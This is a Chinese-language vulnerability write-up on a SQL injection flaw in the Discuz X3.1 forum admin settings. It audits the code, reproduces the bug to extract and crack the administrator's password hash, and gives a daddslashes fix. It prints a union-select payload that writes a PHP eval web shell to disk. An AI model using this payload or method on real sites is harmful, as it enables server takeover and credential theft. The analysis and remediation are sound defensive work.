一、什么是Sql注入漏洞?
SQL注入攻击(SQL Injection),简称为注入攻击。SQL注入被广泛用于非法获取网站控制权,这是在应用程序的数据库层中发生的安全漏洞。在设计程序中,忽略了对输入字符串中包含的SQL命令的检查,并且将数据库误认为是要运行的常规SQL命令,这导致数据库受到攻击,从而可能导致盗窃,修改和删除数据,并进一步导致网站嵌入恶意代码,植入后门程序的危害等。攻击者可以借助Sql语句伪造成正常的Http请求参数从而欺骗服务器将命令传递到服务端,从而利用漏洞查询到未授权的信息,修改数据库服务器的数据、改变结构,甚至是获取服务器权限。
二、Discuz论坛漏洞前期搜集
Discuz v3.1系列版本在性能方面进行了大幅度优化,采用了更加高效的缓存机制和数据库查询优化,从而可大幅度提升系统的响应速度和并发能力。这不仅能够提高用户体验,还可以为网站的开发奠定更加坚实的基础,在安全性能方面采用了更加严格的数据过滤和防御机制,有效防止Sql注入、Xss等常见漏洞的攻击,但在管理界面仍发现疑似风险点,疑似Sql注入点可以获取数据库内部信息,从而盗取用户的详细数据。
三、Disucz_Sql漏洞代码审计
定位到Source/admincp/admincp_setting.php路径文件,该文件对应管理界面源码。在名为Note_exists()函数中,可以看到拼接了一个数据库查询语句,在A点处如果数据存在于Uc_dbtablepre中拼接一个Uc_appid的值,如图3-1所示。
由于该Uc_appid存在于查询语句中,因此继续跟踪该字段,同样的路径下,发现一个名为Configfile的变量,它会将Uc系列的数据进行替换,在A点处发现了拼接变量Uc_appid,而变量Settingnew初步分析属于用户可控变量范畴,在B点处将替换后的数据写入到配置文件中,如图3-2所示。
继续跟进Note_exists()函数,定位到Uc_client/model/base.php文件,该文件属于用户的基础文件,在A点处名为_Construct()函数中调用Base(),在B点处而Base()会函数会调用Note_exists()函数,再次调用从而可能会引发函数的二次调用,如图3-3所示。
至此,可以分析出Note_exists()函数会被二次调用,而Uc_appid变量由于存在于用户可控范围内,并且没有进行参数过滤,直接将数据写入到配置文件中,说明只要能够调用到Ucenter的申请数据,并且构造Payload便能借助Sql查询语句进行Sql注入。
四、Discuz论坛漏洞复现
定位到管理界面的Ucenter设置,该界面的接口初步分析会调用到Uc_appid,开启Foxyproxy插件作为Burpsuite软件的代理,抓取该设置界面的数据包,并发现了名为Settingnew[uc][api]的可控变量,在A点处对此变量展开Sql语句测试,如图4-1所示。
其中,测试语句的Order by为排序表达式,也可以用于测试列数;利用Updatexml函数的报错机制,当第二个参数不符合Xpath格式时会将原始效验数据暴露出来的特征进行注入;Concat函数用于将多个字符串连接,方便查看结果。测试语句如下表4-2所示。
具体测试过程略,通过具体测试发现两个名为Username和Password的字段,查询到当前管理员账户对应名称与Md5经典格式加密密码。借助在线Md5格式解密工具解得具体管理员密码,结果如图4-3所示。
至此,借助管理界面设置Ucenter字段的用户可控变量Settingnew二次调用Note_exists函数实现了Sql语句的查询,这说明官方在Discuz X3.1版本中并没有对Settingnew的参数处理进行严格的过滤,导致Sql恶意查询语句的实现,从而构成了Sql注入漏洞。
同样,由于没有对参数进行严格过滤,那么在Settingnew[uc][api]字段还可以实现文件的写入。利用联合查询,将eval()函数的“恶意代码”写入环境中,从而获得获取版本信息的文件,构可以造出如下Payload。
1’ union select ’<?php eval($_GET[1])?>’ into outfile ‘测试环境路径\test.php’-- a
原理与Sql注入完全一致,借助恶意文件可直接获得当前环境的版本,甚至可以获得数据库版本号、Php版本等等。具体注入过程不做赘述,在浏览器直接访问该恶意文件,如图4-4所示。
五、加固方案
针对于Ucenter进行设置的过程中会调用Settingnew参数,而该参数属于Note_exists()函数,该函数会被二次调用,由于对可控变量Settingnew的参数没有进行过滤,导致可以借助内部Sql查询语句实现Sql注入。
由于是Settingnew参数过滤不当导致,可以手动添加加固Payload语句,借助Daddslashes函数针对于Sql注入漏洞将特殊字符前添加反斜杠从而使得渗透代码作用失效,将Ucenter设置的数据特殊字符进行注释,根本上保障程序的安全性和正确性。具体Payload语句如下:
$settingnew['uc'] = daddslashes($settingnew['uc']);
在对Ucenter的数据写入配置文件时进行二次转义,将防护Payload语句手动添加在写入配置文件之后,从而避免Sql注入的攻击,具体如图5-1所示。
进入Ucenter设置界面进行抓包,同样在Settingnew[uc][api]进行Sql注入测试,如图5-2所示,在A点处利用Sql注入查询当前数据库版本号,在B点处的回显显示出含有不合法参数,这说明Daddslashes函数的二次调用发挥了防护效果。